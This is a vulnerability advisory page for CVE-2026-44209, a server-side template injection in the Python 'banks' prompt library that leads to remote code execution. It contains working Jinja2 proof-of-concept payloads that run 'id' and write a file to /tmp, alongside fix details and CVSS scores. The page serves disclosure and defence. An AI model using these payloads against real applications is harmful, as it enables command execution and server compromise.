Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-44209
Published:May 08, 2026
Updated:May 11, 2026
Summary "banks <= 2.4.1" uses "jinja2.Environment()" (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to "Prompt()" are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This is a vulnerability in how "banks" initializes its Jinja2 environment — not in Jinja2 itself. Vulnerable Code "src/banks/env.py" — the global Jinja2 environment is created without sandboxing: env = Environment( autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False), ... ) Attack Scenario An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to "Prompt()" is vulnerable. For example: User-controlled input reaches Prompt() user_input = "{{ self.init.globals.builtins.import('os').popen('id').read() }}" p = Prompt(user_input) p.text() # Executes arbitrary command on the host Proof of Concept Setup: pip install banks==2.4.1 PoC script: from banks import Prompt payload = "{{ self.init.globals.builtins.import('os').popen('id').read() }}" p = Prompt(payload) result = p.text() print(f"[+] Output: {result}") Confirmed output: [+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),... text File-write proof: from banks import Prompt p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}") p.text() ls -l /tmp/rce_banks_exec # -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec Impact Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise. Fix Fixed in "banks 2.4.2" (PR #74) by switching to "jinja2.sandbox.SandboxedEnvironment", which blocks the dunder attribute traversal chain this exploit relies on. Developers on "banks <= 2.4.1" should upgrade to "2.4.2" and avoid passing untrusted user input as the template argument to "Prompt()". Resources - Fix: https://github.com/masci/banks/pull/74 - CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5) - CVE-2025-25362 (spacy-llm — identical root cause) - CWE-1336: Improper Neutralization of Special Elements in a Template Engine
Affected Packages
https://github.com/masci/banks.git (GITHUB):
Affected version(s) >=v0.1.0 <v2.4.2
Fix Suggestion:
Update to version v2.4.2
banks (PYTHON):
Affected version(s) >=0.0.1 <2.4.2
Fix Suggestion:
Update to version 2.4.2
Do you need more information?
Contact Us
CVSS v4
Base Score:
7.7
Attack Vector
NETWORK
Attack Complexity
HIGH
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
PASSIVE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
HIGH
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
7.5
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality
HIGH
Integrity
HIGH
Availability
HIGH
Weakness Type (CWE)
Improper Neutralization of Special Elements Used in a Template Engine